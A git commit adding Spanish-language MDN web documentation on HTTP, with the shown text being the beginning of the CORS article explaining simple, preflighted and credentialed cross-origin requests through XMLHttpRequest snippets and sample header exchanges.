From 1109132f09d75da9a28b649c7677bb6ce07c40c0 Mon Sep 17 00:00:00 2001 From: Peter Bengtsson Date: Tue, 8 Dec 2020 14:41:45 -0500 Subject: initial commit --- files/es/web/http/access_control_cors/index.html | 491 +++++++++++++++++++++ files/es/web/http/authentication/index.html | 119 +++++ .../index.html | 71 +++ .../web/http/basics_of_http/datos_uris/index.html | 168 +++++++ .../basics_of_http/evolution_of_http/index.html | 197 +++++++++ .../index.html" | 169 +++++++ files/es/web/http/basics_of_http/index.html | 51 +++ .../mime_types/common_types/index.html | 321 ++++++++++++++ .../web/http/basics_of_http/mime_types/index.html | 321 ++++++++++++++ files/es/web/http/caching/index.html | 155 +++++++ files/es/web/http/cookies/index.html | 240 ++++++++++ .../http/cors/errors/corsdidnotsucceed/index.html | 48 ++ .../cors/errors/corsmissingalloworigin/index.html | 49 ++ .../errors/corsnotsupportingcredentials/index.html | 34 ++ .../errors/corspreflightdidnotsucceed/index.html | 27 ++ .../http/cors/errors/corsrequestnothttp/index.html | 25 ++ files/es/web/http/cors/errors/index.html | 76 ++++ files/es/web/http/csp/index.html | 198 +++++++++ .../gestion_de_la_conexion_en_http_1.x/index.html | 86 ++++ .../es/web/http/headers/accept-charset/index.html | 85 ++++ files/es/web/http/headers/accept-ranges/index.html | 70 +++ files/es/web/http/headers/accept/index.html | 99 +++++ .../access-control-allow-credentials/index.html | 99 +++++ .../access-control-allow-headers/index.html | 93 ++++ .../access-control-allow-methods/index.html | 81 ++++ .../headers/access-control-allow-origin/index.html | 99 +++++ .../access-control-expose-headers/index.html | 115 +++++ files/es/web/http/headers/age/index.html | 75 ++++ files/es/web/http/headers/allow/index.html | 61 +++ files/es/web/http/headers/authorization/index.html | 86 ++++ files/es/web/http/headers/cache-control/index.html | 241 ++++++++++ .../http/headers/content-disposition/index.html | 144 ++++++ .../web/http/headers/content-encoding/index.html | 97 ++++ .../es/web/http/headers/content-length/index.html | 60 +++ .../web/http/headers/content-location/index.html | 156 +++++++ .../headers/content-security-policy/index.html | 252 +++++++++++ files/es/web/http/headers/content-type/index.html | 111 +++++ files/es/web/http/headers/cookie/index.html | 74 ++++ .../cross-origin-resource-policy/index.html | 68 +++ files/es/web/http/headers/etag/index.html | 98 ++++ files/es/web/http/headers/expires/index.html | 81 ++++ files/es/web/http/headers/host/index.html | 75 ++++ files/es/web/http/headers/index.html | 396 +++++++++++++++++ files/es/web/http/headers/keep-alive/index.html | 93 ++++ files/es/web/http/headers/link/index.html | 79 ++++ files/es/web/http/headers/origin/index.html | 83 ++++ files/es/web/http/headers/pragma/index.html | 77 ++++ files/es/web/http/headers/referer/index.html | 84 ++++ .../es/web/http/headers/referrer-policy/index.html | 237 ++++++++++ files/es/web/http/headers/server/index.html | 66 +++ files/es/web/http/headers/set-cookie/index.html | 217 +++++++++ .../headers/strict-transport-security/index.html | 112 +++++ .../web/http/headers/transfer-encoding/index.html | 117 +++++ files/es/web/http/headers/user-agent/index.html | 140 ++++++ files/es/web/http/headers/vary/index.html | 81 ++++ .../web/http/headers/www-authenticate/index.html | 87 ++++ .../http/headers/x-content-type-options/index.html | 83 ++++ .../es/web/http/headers/x-forwarded-for/index.html | 74 ++++ .../es/web/http/headers/x-frame-options/index.html | 134 ++++++ .../web/http/headers/x-xss-protection/index.html | 87 ++++ files/es/web/http/index.html | 85 ++++ .../mecanismo_actualizacion_protocolo/index.html | 246 +++++++++++ files/es/web/http/messages/index.html | 140 ++++++ files/es/web/http/methods/connect/index.html | 85 ++++ files/es/web/http/methods/get/index.html | 69 +++ files/es/web/http/methods/index.html | 69 +++ files/es/web/http/methods/patch/index.html | 98 ++++ files/es/web/http/methods/post/index.html | 126 ++++++ files/es/web/http/methods/put/index.html | 100 +++++ files/es/web/http/methods/trace/index.html | 75 ++++ files/es/web/http/overview/index.html | 172 ++++++++ .../web/http/peticiones_condicionales/index.html | 148 +++++++ .../http/recursos_y_especificaciones/index.html | 262 +++++++++++ "files/es/web/http/sesi\303\263n/index.html" | 158 +++++++ files/es/web/http/status/100/index.html | 47 ++ files/es/web/http/status/101/index.html | 56 +++ files/es/web/http/status/200/index.html | 54 +++ files/es/web/http/status/201/index.html | 41 ++ files/es/web/http/status/202/index.html | 38 ++ files/es/web/http/status/203/index.html | 45 ++ files/es/web/http/status/206/index.html | 79 ++++ files/es/web/http/status/301/index.html | 54 +++ files/es/web/http/status/302/index.html | 50 +++ files/es/web/http/status/304/index.html | 56 +++ files/es/web/http/status/400/index.html | 38 ++ files/es/web/http/status/401/index.html | 54 +++ files/es/web/http/status/403/index.html | 49 ++ files/es/web/http/status/404/index.html | 64 +++ files/es/web/http/status/408/index.html | 42 ++ files/es/web/http/status/418/index.html | 45 ++ files/es/web/http/status/500/index.html | 39 ++ files/es/web/http/status/502/index.html | 48 ++ files/es/web/http/status/503/index.html | 54 +++ files/es/web/http/status/504/index.html | 47 ++ files/es/web/http/status/505/index.html | 33 ++ files/es/web/http/status/8080/index.html | 34 ++ files/es/web/http/status/index.html | 192 ++++++++ 97 files changed, 10605 insertions(+) create mode 100644 files/es/web/http/access_control_cors/index.html create mode 100644 files/es/web/http/authentication/index.html create mode 100644 files/es/web/http/basics_of_http/choosing_between_www_and_non-www_urls/index.html create mode 100644 files/es/web/http/basics_of_http/datos_uris/index.html create mode 100644 files/es/web/http/basics_of_http/evolution_of_http/index.html create mode 100644 "files/es/web/http/basics_of_http/identificaci\303\263n_recursos_en_la_web/index.html" create mode 100644 files/es/web/http/basics_of_http/index.html create mode 100644 files/es/web/http/basics_of_http/mime_types/common_types/index.html create mode 100644 files/es/web/http/basics_of_http/mime_types/index.html create mode 100644 files/es/web/http/caching/index.html create mode 100644 files/es/web/http/cookies/index.html create mode 100644 files/es/web/http/cors/errors/corsdidnotsucceed/index.html create mode 100644 files/es/web/http/cors/errors/corsmissingalloworigin/index.html create mode 100644 files/es/web/http/cors/errors/corsnotsupportingcredentials/index.html create mode 100644 files/es/web/http/cors/errors/corspreflightdidnotsucceed/index.html create mode 100644 files/es/web/http/cors/errors/corsrequestnothttp/index.html create mode 100644 files/es/web/http/cors/errors/index.html create mode 100644 files/es/web/http/csp/index.html create mode 100644 files/es/web/http/gestion_de_la_conexion_en_http_1.x/index.html create mode 100644 files/es/web/http/headers/accept-charset/index.html create mode 100644 files/es/web/http/headers/accept-ranges/index.html create mode 100644 files/es/web/http/headers/accept/index.html create mode 100644 files/es/web/http/headers/access-control-allow-credentials/index.html create mode 100644 files/es/web/http/headers/access-control-allow-headers/index.html create mode 100644 files/es/web/http/headers/access-control-allow-methods/index.html create mode 100644 files/es/web/http/headers/access-control-allow-origin/index.html create mode 100644 files/es/web/http/headers/access-control-expose-headers/index.html create mode 100644 files/es/web/http/headers/age/index.html create mode 100644 files/es/web/http/headers/allow/index.html create mode 100644 files/es/web/http/headers/authorization/index.html create mode 100644 files/es/web/http/headers/cache-control/index.html create mode 100644 files/es/web/http/headers/content-disposition/index.html create mode 100644 files/es/web/http/headers/content-encoding/index.html create mode 100644 files/es/web/http/headers/content-length/index.html create mode 100644 files/es/web/http/headers/content-location/index.html create mode 100644 files/es/web/http/headers/content-security-policy/index.html create mode 100644 files/es/web/http/headers/content-type/index.html create mode 100644 files/es/web/http/headers/cookie/index.html create mode 100644 files/es/web/http/headers/cross-origin-resource-policy/index.html create mode 100644 files/es/web/http/headers/etag/index.html create mode 100644 files/es/web/http/headers/expires/index.html create mode 100644 files/es/web/http/headers/host/index.html create mode 100644 files/es/web/http/headers/index.html create mode 100644 files/es/web/http/headers/keep-alive/index.html create mode 100644 files/es/web/http/headers/link/index.html create mode 100644 files/es/web/http/headers/origin/index.html create mode 100644 files/es/web/http/headers/pragma/index.html create mode 100644 files/es/web/http/headers/referer/index.html create mode 100644 files/es/web/http/headers/referrer-policy/index.html create mode 100644 files/es/web/http/headers/server/index.html create mode 100644 files/es/web/http/headers/set-cookie/index.html create mode 100644 files/es/web/http/headers/strict-transport-security/index.html create mode 100644 files/es/web/http/headers/transfer-encoding/index.html create mode 100644 files/es/web/http/headers/user-agent/index.html create mode 100644 files/es/web/http/headers/vary/index.html create mode 100644 files/es/web/http/headers/www-authenticate/index.html create mode 100644 files/es/web/http/headers/x-content-type-options/index.html create mode 100644 files/es/web/http/headers/x-forwarded-for/index.html create mode 100644 files/es/web/http/headers/x-frame-options/index.html create mode 100644 files/es/web/http/headers/x-xss-protection/index.html create mode 100644 files/es/web/http/index.html create mode 100644 files/es/web/http/mecanismo_actualizacion_protocolo/index.html create mode 100644 files/es/web/http/messages/index.html create mode 100644 files/es/web/http/methods/connect/index.html create mode 100644 files/es/web/http/methods/get/index.html create mode 100644 files/es/web/http/methods/index.html create mode 100644 files/es/web/http/methods/patch/index.html create mode 100644 files/es/web/http/methods/post/index.html create mode 100644 files/es/web/http/methods/put/index.html create mode 100644 files/es/web/http/methods/trace/index.html create mode 100644 files/es/web/http/overview/index.html create mode 100644 files/es/web/http/peticiones_condicionales/index.html create mode 100644 files/es/web/http/recursos_y_especificaciones/index.html create mode 100644 "files/es/web/http/sesi\303\263n/index.html" create mode 100644 files/es/web/http/status/100/index.html create mode 100644 files/es/web/http/status/101/index.html create mode 100644 files/es/web/http/status/200/index.html create mode 100644 files/es/web/http/status/201/index.html create mode 100644 files/es/web/http/status/202/index.html create mode 100644 files/es/web/http/status/203/index.html create mode 100644 files/es/web/http/status/206/index.html create mode 100644 files/es/web/http/status/301/index.html create mode 100644 files/es/web/http/status/302/index.html create mode 100644 files/es/web/http/status/304/index.html create mode 100644 files/es/web/http/status/400/index.html create mode 100644 files/es/web/http/status/401/index.html create mode 100644 files/es/web/http/status/403/index.html create mode 100644 files/es/web/http/status/404/index.html create mode 100644 files/es/web/http/status/408/index.html create mode 100644 files/es/web/http/status/418/index.html create mode 100644 files/es/web/http/status/500/index.html create mode 100644 files/es/web/http/status/502/index.html create mode 100644 files/es/web/http/status/503/index.html create mode 100644 files/es/web/http/status/504/index.html create mode 100644 files/es/web/http/status/505/index.html create mode 100644 files/es/web/http/status/8080/index.html create mode 100644 files/es/web/http/status/index.html (limited to 'files/es/web/http') diff --git a/files/es/web/http/access_control_cors/index.html b/files/es/web/http/access_control_cors/index.html new file mode 100644 index 0000000000..efd60a179a --- /dev/null +++ b/files/es/web/http/access_control_cors/index.html @@ -0,0 +1,491 @@ +--- +title: Control de acceso HTTP (CORS) +slug: Web/HTTP/Access_control_CORS +translation_of: Web/HTTP/CORS +--- +

{{HTTPSidebar}}

+ +

El Intercambio de Recursos de Origen Cruzado ({{Glossary("CORS")}}) es un mecanismo que utiliza cabeceras {{Glossary("HTTP")}} adicionales para permitir que un {{Glossary("user agent")}} obtenga permiso para acceder a recursos seleccionados desde un servidor, en un origen distinto (dominio) al que pertenece. Un agente crea una petición HTTP de origen cruzado cuando solicita un recurso desde un dominio distinto, un protocolo o un puerto diferente al del documento que lo generó.

+ +

Un ejemplo de solicitud de origen cruzado: el código JavaScript frontend de una aplicación web que es localizada en http://domain-a.com utiliza {{domxref("XMLHttpRequest")}} para cargar el recurso http://api.domain-b.com/data.json.

+ +

Por razones de seguridad, los exploradores restringen las solicitudes HTTP de origen cruzado iniciadas dentro de un script. Por ejemplo, XMLHttpRequest y la API Fetch siguen la política de mismo-origen. Ésto significa que una aplicación que utilice esas APIs XMLHttpRequest sólo puede hacer solicitudes HTTP a su propio dominio, a menos que se utilicen cabeceras CORS.

+ +

+ +

El W3C Grupo de Trabajo de Aplicaciones Web recomienda el nuevo mecanismo de Intercambio de Recursos de Origen Cruzado (CORS, por sus siglas en inglés). CORS da controles de acceso a dominios cruzados para servidores web y transferencia segura de datos en dominios cruzados entre navegadores y servidores Web. Los exploradores modernos utilizan CORS en un  contenedor API (como XMLHttpRequest o Fetch) para ayudar a mitigar los riesgos de solicitudes HTTP de origen cruzado.

+ +

¿Quién debería leer este artículo?

+ +

Todo el mundo, de verdad.

+ +

Más específicamente, este artículo está dirigido a administradores web, desarrolladores de servidores y desarrolladores de interfaz. Los exploradores modernos manejan los componentes sobre el intercambio de origen cruzado del lado del cliente. Incluyendo cabeceras y políticas de ejecución. Pero, este nuevo estándar determina que los servidores tienen que manejar las nuevas solicitudes y las cabeceras de las respuestas. Se recomienda, como lectura suplementaria, otro artículo para desarrolladores de servidor que discute el intercambio de origen cruzado desde una perspectiva de servidor (con fragmentos de código PHP).

+ +

¿Qué peticiones utiliza CORS?

+ +

Este estándar de intercambio de origen cruzado es utilizado para habilitar solicitudes HTTP de sitios cruzados para:

+ + + +

Este artículo es una discusión general sobre Intercambio de Recursos de Origin Cruzado e incluye una discusión sobre las cabeceras HTTP.

+ +

Resumen

+ +

El estándar de Intercambio de Recursos de Origen Cruzado trabaja añadiendo nuevas cabeceras HTTP que permiten a los servidores describir el conjunto de orígenes que tienen permiso para leer la información usando un explorador web.  Adicionalmente, para métodos de solicitud HTTP que causan efectos secundarios en datos del usuario (y en particular, para otros métodos HTTP distintos a GET, o para la utilización de POST con algunos tipos MIME), la especificación sugiere que los exploradores "verifiquen" la solicitud, solicitando métodos soportados desde el servidor con un método de solicitud HTTP OPTIONS, y luego, con la "aprobación" del servidor, enviar la verdadera solicitud con el método de solicitud HTTP verdadero. Los servidores pueden también notificar a los clientes cuando sus "credenciales" (incluyendo Cookies y datos de autenticación HTTP) deben ser enviados con solicitudes.

+ +

Las secciones siguientes discuten escenarios, así como el análisis de las cabeceras HTTP usados.

+ +

Ejemplos de escenarios de control de accesos

+ +

Aquí, presentamos tres escenarios que ilustran cómo funciona el Intercambio de Recursos de Origen Cruzado. Todos estos ejemplos utilizan el objeto XMLHttpRequest, que puede ser utilizado para hacer invocaciones de sitios cruzados en cualquier explorador soportado.

+ +

Los fragmentos de JavaScript incluidos en estas secciones (y las instancias ejecutadas del código servidor que correctamente maneja las solicitudes de sitios cruzados) pueden ser encontrados "en acción" aquí, y pueden ser trabajados en exploradores que soportan XMLHttpRequest de sitios cruzados. Una discusión de Intercambio de Recursos de Origen Cruzado desde una perspectiva de servidor (incluyendo fragmentos de código PHP) puede ser encontrada aquí.

+ +

Solicitudes simples

+ +

Una solicitud de sitio cruzado es aquella que cumple las siguientes condiciones:

+ + + +
Nota: Estos son los mismos tipos de solicitud de sitios cruzados que un contenido web ya puede emitir, y ninguna respuesta de datos es liberada a menos que el servidor envíe la cabecera apropiada. Por lo tanto, los sitios que prevengan solicitudes falsas de sitios cruzados no tienen nada nuevo que temer sobre el control de acceso HTTP.
+ +

Por ejemplo, suponga que el contenido web en el dominio http://foo.example desea invocar contenido en el dominio http://bar.other. Código de este tipo puede ser utilizado dentro de JavaScript desplegado en foo.example:

+ +
var invocation = new XMLHttpRequest();
+var url = 'http://bar.other/resources/public-data/';
+
+function callOtherDomain() {
+  if(invocation) {
+    invocation.open('GET', url, true);
+    invocation.onreadystatechange = handler;
+    invocation.send();
+  }
+}
+
+ +

Dejándonos ver lo que el explorador enviará al servidor en este caso, y veamos como responde el servidor:

+ +
GET /resources/public-data/ HTTP/1.1
+Host: bar.other
+User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+Referer: http://foo.example/examples/access-control/simpleXSInvocation.html
+Origin: http://foo.example
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 00:23:53 GMT
+Server: Apache/2.0.61
+Access-Control-Allow-Origin: *
+Keep-Alive: timeout=2, max=100
+Connection: Keep-Alive
+Transfer-Encoding: chunked
+Content-Type: application/xml
+
+[XML Data]
+
+ +

Las líneas 1 - 10 son las cabeceras enviadas por Firefox 3.5.  Observe que la cabecera de solicitud HTTP principal aquí es la cabecera Origin:  en la línea 10 de arriba, lo que muestra que la invocación proviene del contenido en el dominio http://foo.example.

+ +

Las líneas 13 - 22  muestran la respuesta HTTP del servidor en el dominio http://bar.other.  En respuesta, el servidor envía de vuelta una cabecera Access-Control-Allow-Origin:, mostrado arriba en la línea 16.  El uso de la cabecera Origin: y Access-Control-Allow-Origin: muestran el protocolo de control de acceso en su uso más simple.  En este caso, el servidor responde con un Access-Control-Allow-Origin: * lo que significa que el recurso puede ser accedido por cualquier dominio en una forma de sitio cruzado. Si el dueño del recurso en http://bar.other deseara restringir el acceso al recurso solamente para http://foo.example, debería devolver lo siguiente:

+ +

Access-Control-Allow-Origin: http://foo.example

+ +

Note que ahora, ningún otro dominio aparte de http://foo.example (identificado por la cabecera ORIGIN: en la solicitud, como en la línea 10 arriba) puede acceder al recurso en una forma de sitio cruzado. La cabecera Access-Control-Allow-Origin debe contener el valor que fue enviado en la solicitud del encabezado Origin.

+ +

Solicitudes Verificadas

+ +

A diferencia de las solicitudes simples (discutidas arriba), las solicitudes "verificadas" envían primero una solicitud HTTP por el método OPTIONS al recurso en el otro dominio, para determinar si es seguro enviar la verdadera solicitud. Las solicitudes de sitios cruzados son verificadas así ya que pueden tener implicaciones en la información de usuario.  En particular, una solicitud es verificada sí:

+ + + +
+

Nota: Empezando en {{Gecko("2.0")}}, las codificaciones de datos text/plain, application/x-www-form-urlencoded, y multipart/form-data pueden ser enviadas en sitios cruzados sin verificación. Anteriormente, solo text/plain podía ser enviado sin verificación.

+
+ +

Un ejemplo de este tipo de invocación puede ser:

+ +
var invocation = new XMLHttpRequest();
+var url = 'http://bar.other/resources/post-here/';
+var body = '<?xml version="1.0"?><person><name>Arun</name></person>';
+
+function callOtherDomain(){
+  if(invocation)
+    {
+      invocation.open('POST', url, true);
+      invocation.setRequestHeader('X-PINGOTHER', 'pingpong');
+      invocation.setRequestHeader('Content-Type', 'application/xml');
+      invocation.onreadystatechange = handler;
+      invocation.send(body);
+    }
+}
+
+......
+
+ +

En el ejemplo de arriba, la línea 3 crea un cuerpo XML para enviar con la solicitud POST en la línea 8.  También, en la línea 9, se establece una cabecera HTTP de solicitud "personalizado" (no estándar X-PINGOTHER: pingpong).  Dichas cabeceras no son parte del protocolo HTTP/1.1, pero son útiles generalmente en aplicaciones web. Dado que la solicitud (POST) usa un Content-Type application/xml, y dado que se establece una cabecera personalizada, la solicitud es verificada.

+ +

Veamos este intercambio completo entre un cliente y un servidor:

+ +
OPTIONS /resources/post-here/ HTTP/1.1
+Host: bar.other
+User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+Origin: http://foo.example
+Access-Control-Request-Method: POST
+Access-Control-Request-Headers: X-PINGOTHER
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 01:15:39 GMT
+Server: Apache/2.0.61 (Unix)
+Access-Control-Allow-Origin: http://foo.example
+Access-Control-Allow-Methods: POST, GET, OPTIONS
+Access-Control-Allow-Headers: X-PINGOTHER
+Access-Control-Max-Age: 1728000
+Vary: Accept-Encoding, Origin
+Content-Encoding: gzip
+Content-Length: 0
+Keep-Alive: timeout=2, max=100
+Connection: Keep-Alive
+Content-Type: text/plain
+
+POST /resources/post-here/ HTTP/1.1
+Host: bar.other
+User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+X-PINGOTHER: pingpong
+Content-Type: text/xml; charset=UTF-8
+Referer: http://foo.example/examples/preflightInvocation.html
+Content-Length: 55
+Origin: http://foo.example
+Pragma: no-cache
+Cache-Control: no-cache
+
+<?xml version="1.0"?><person><name>Arun</name></person>
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 01:15:40 GMT
+Server: Apache/2.0.61 (Unix)
+Access-Control-Allow-Origin: http://foo.example
+Vary: Accept-Encoding, Origin
+Content-Encoding: gzip
+Content-Length: 235
+Keep-Alive: timeout=2, max=99
+Connection: Keep-Alive
+Content-Type: text/plain
+
+[Some GZIP'd payload]
+
+ +

Las líneas 1 - 12 arriba representan la solicitud verificada con los métodos OPTIONS. Firefox 3.1 determina lo que se necesita para enviar esto basándose en los parámetros de la solicitud que los fragmentos de JavaScript que se usaron arriba, para que el servidor pueda responder si es aceptable enviar la solicitud con los parámetros de la solicitud real. OPTIONS es un método HTTP/1.1 que se utiliza para determinar información adicional de los servidores, y es un método idempotente, esto significa que no puede ser utilizado para cambiar el recurso. Observe que, junto con la solicitud OPTIONS, se envían otras dos cabeceras de solicitud (líneas 11 y 12 respectivamente):

+ +
Access-Control-Request-Method: POST
+Access-Control-Request-Headers: X-PINGOTHER
+
+ +

La cabecera Access-Control-Request-Method notifica al servidor como parte de una solicitud verificada que cuándo se envíe la solicitud real, esta será enviada con un método de solicitud POST. La cabecera Access-Control-Request-Headers notifica al servidor que cuando la solicitud real sea enviada, será enviada con un encabezado X-PINGOTHER personalizado.  Ahora, el servidor tiene la oportunidad para determinar si desea aceptar la solicitud bajo estas circunstancias.

+ +

Las líneas 15 - 27 de arriba corresponden con la respuesta que devuelve el servidor indicando que el método de la petición (POST) y la cabecera X-PINGOTHER son aceptadas. En particular, echemos un vistazo a las líneas 18-21:

+ +
Access-Control-Allow-Origin: http://foo.example
+Access-Control-Allow-Methods: POST, GET, OPTIONS
+Access-Control-Allow-Headers: X-PINGOTHER
+Access-Control-Max-Age: 1728000
+ +

El servidor responde con Access-Control-Allow-Methods y dice que POST, GET, y OPTIONS son métodos viables para consultar el recurso en cuestión.  Observe que esta cabecera es similar al HTTP/1.1 Allow: encabezado de respuesta, pero usado estrictamente dentro del contexto del control de acceso.  El servidor también envía Access-Control-Allow-Headers con un valor de X-PINGOTHER, confirmando que es una cabecera permitida para ser usado en la solicitud real.  Como Access-Control-Allow-Methods, Access-Control-Allow-Headers es una lista separada por comas de cabeceras aceptables.  Finalmente, Access-Control-Max-Age da el valor en segundos de cuánto tarda la respuesta de la solicitud verificada en ser capturada sin enviar otra solicitud verificada. En este caso, 1728000 segundos son 20 días.

+ +

Solicitudes con credenciales

+ +

La capacidad más interesante expuesta tanto por XMLHttpRequest y Access Control es la habilidad para hacer solicitudes "con credenciales" que estén al tanto de Cookies HTTP e información de Autenticación HTTP.  Por defecto, en las invocaciones XMLHttpRequest de un sitio curzado, los exploradores no enviarán credenciales. Una bandera específica tiene que ser establecida en el objeto XMLHttpRequest cuando este es invocado.

+ +

En este ejemplo, el contenido cargado originalmente desde http://foo.example hace una solicitud GET simple a un recurso en http://bar.other que establece Cookies. El contenido en foo.example puede contener un JavaScript como este:

+ +
var invocation = new XMLHttpRequest();
+var url = 'http://bar.other/resources/credentialed-content/';
+
+function callOtherDomain(){
+  if(invocation) {
+    invocation.open('GET', url, true);
+    invocation.withCredentials = true;
+    invocation.onreadystatechange = handler;
+    invocation.send();
+  }
+}
+ +

La línea 7 muestra la bandera en XMLHttpRequest que tiene que ser establecida para poder hacer la invocación con Cookies, es decir, el valor booleano withCredentials.  Por defecto, la invocación es hecha sin Cookies. Dado que esta es una simple solicitud GET, no es verificada, pero el explorador rechazará cualquier respuesta que no tiene el encabezado Access-Control-Allow-Credentials: true,y no hará disponible la respuesta para invocar contenido web.

+ +

A continuación se proporciona una muestra de intercambio entre un cliente y un servidor:

+ +
GET /resources/access-control-with-credentials/ HTTP/1.1
+Host: bar.other
+User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+Referer: http://foo.example/examples/credential.html
+Origin: http://foo.example
+Cookie: pageAccess=2
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 01:34:52 GMT
+Server: Apache/2.0.61 (Unix) PHP/4.4.7 mod_ssl/2.0.61 OpenSSL/0.9.7e mod_fastcgi/2.4.2 DAV/2 SVN/1.4.2
+X-Powered-By: PHP/5.2.6
+Access-Control-Allow-Origin: http://foo.example
+Access-Control-Allow-Credentials: true
+Cache-Control: no-cache
+Pragma: no-cache
+Set-Cookie: pageAccess=3; expires=Wed, 31-Dec-2008 01:34:53 GMT
+Vary: Accept-Encoding, Origin
+Content-Encoding: gzip
+Content-Length: 106
+Keep-Alive: timeout=2, max=100
+Connection: Keep-Alive
+Content-Type: text/plain
+
+
+[text/plain payload]
+
+ +

Pese a que la línea 11 contiene la Cookie destinada para el contenido en http://bar.other, si bar.other no responde con Access-Control-Allow-Credentials: true (línea 19) la respuesta será ignorada y no puesta a disposición para el contenido web. Nota Importante: cuando se responde a una solicitud con credeciales, el servidor debe especificar un dominio, y no puede usar comodines. El ejemplo de arriba fallará si la cabecera fuera un comodín como: Access-Control-Allow-Origin: *.  Dado que Access-Control-Allow-Origin menciona explícitamente http://foo.example, el contenido de credenciales competente es devuelto al contenido web invocador. Observe que, en la línea 22, se establece una cookie adicional.

+ +

Todos estos ejemplos pueden verse funcionando aquí.  La siguiente sección se refiere a las verdaderas cabeceras HTTP.

+ +

Las cabeceras HTTP de respuesta

+ +

Esta sección lista las cabeceras HTTP de respuesta que los servidores envían de vuelta para las solicitudes de acceso de control definidas por la especificación del Intercambio de Recursos de Origen Cruzado. La sección anterior da un resumen de estos en acción.

+ +

Access-Control-Allow-Origin

+ +

Un recurso devuelto puede tener una cabecera Access-Control-Allow-Origin, con la siguiente sintaxis:

+ +
Access-Control-Allow-Origin: <origin> | *
+
+ +

El parámetro origin específica una URI que puede tener acceso al recurso.  El explorador debe asegurar esto. Para solicitudes sin credenciales, el servidor debe especificar "*" como un comodín permitiendo, de este modo, el acceso al recurso a cualquier origen.

+ +

Por ejemplo, para permitir a http://mozilla.com acceder al recurso, usted puede especificar:

+ +
Access-Control-Allow-Origin: http://mozilla.com
+ +

Si el servidor especifica un host de origen en vez de "*", entonces se debe incluir Origin en el encabezado de respuesta Vary para indicar a los clientes que las respuestas del servidor difieren basándose en el valor del encabezado de respuesta Origin.

+ +

{{ h3_gecko_minversion("Access-Control-Expose-Headers", "2.0") }}

+ +

Esta cabecera permite una whitelist de cabeceras del servidor que los exploradores tienen permitido acceder. Por ejemplo:

+ +
Access-Control-Expose-Headers: X-My-Custom-Header, X-Another-Custom-Header
+
+ +

Esto permite a las cabeceras X-My-Custom-Header y X-Another-Custom-Header ser expuestos al explorador.

+ +

Access-Control-Max-Age

+ +

Esta cabecera indica durante cuánto tiempo los resultados de la solicitud verificada pueden ser capturados. Para un ejemplo de solicitudes verificadas, vea los ejemplos de arriba.

+ +
Access-Control-Max-Age: <delta-seconds>
+
+ +

El parámetro delta-seconds indica el número de segundos en que los resultados pueden ser capturados.

+ +

Access-Control-Allow-Credentials

+ +

Indica si la respuesta puede ser expuesta cuando la bandera credentials es verdadera. Cuando se usa como parte de una respuesta para una solicitud verficada, este indica si la solicitud verdadera puede realizarse usando credenciales. Note que las solicitudes GET simples no son verificadas, y por lo que si una solicitud es hecha para un recurso con credenciales, si la cabecera no es devuelta con el recurso, la respuesta es ignorada por el explorador y no devuelta al contenido web.

+ +
Access-Control-Allow-Credentials: true | false
+
+ +

Las Solicitudes con credenciales son discutidas arriba.

+ +

Access-Control-Allow-Methods

+ +

Específica el método o los métodos permitidos cuando se asigna un recurso. Es usado en respuesta a la solicitud verificada. Las condiciones sobre cuándo una solicitud es verificada se discuten arriba.

+ +
Access-Control-Allow-Methods: <method>[, <method>]*
+
+ +

Un ejemplo de una solicitud verificada se muestra arriba, incluyendo un ejemplo donde se envía este encabezado al explorador.

+ +

Access-Control-Allow-Headers

+ +

Usado en respuesta a una solicitud verificada para indicar qué encabezado HTTP puede ser usado cuando se realiza la solicitud real.

+ +
Access-Control-Allow-Headers: <field-name>[, <field-name>]*
+
+ +

Los encabezados HTTP de solicitud

+ +

Esta sección lista las cabeceras que los clietnes deben utilizar cuando realizan solicitudes HTTP para usar la característica de intercambio de origen cruzado. Note que estas cabeceras son establecidas cuando se realizan realizan invocaciones a los servidores. Los desarrolladores usan la capacidad de sitios cruzados XMLHttpRequest para no tener que establecer ninguna solicitud de intercambio de origen cruzado programada.

+ +

Origin

+ +

Indica el origen de las solicitudes de acceso a sitios cruzados o solicitudes verificadas.

+ +
Origin: <origin>
+
+ +

El origen es una URI indicando al servidor dónde se ha iniciado la solicitud. Este no incluye ninguna información de recorrido, sólo el nombre del servidor. 

+ +
Nota: El origin puede ser un string vacío; esto es útil, por ejemplo, si el recurso es un data URL.
+ +

Observe que en cualquier solicitud de acceso de control, la cabecera ORIGIN siempre se envía.

+ +

Access-Control-Request-Method

+ +

Se usa cuando se emite una solicitud verificada, para indicarle al servidor qué método HTTP será usado cuando se haga la solicitud real.

+ +
Access-Control-Request-Method: <method>
+
+ +

Ejemplos de esta utilización pueden ser encontrados arriba.

+ +

Access-Control-Request-Headers

+ +

Usada cuando se emite una solicitud verificada para indicarle al servidor qué cabecera HTTP será usada cuando se haga la solicitud real.

+ +
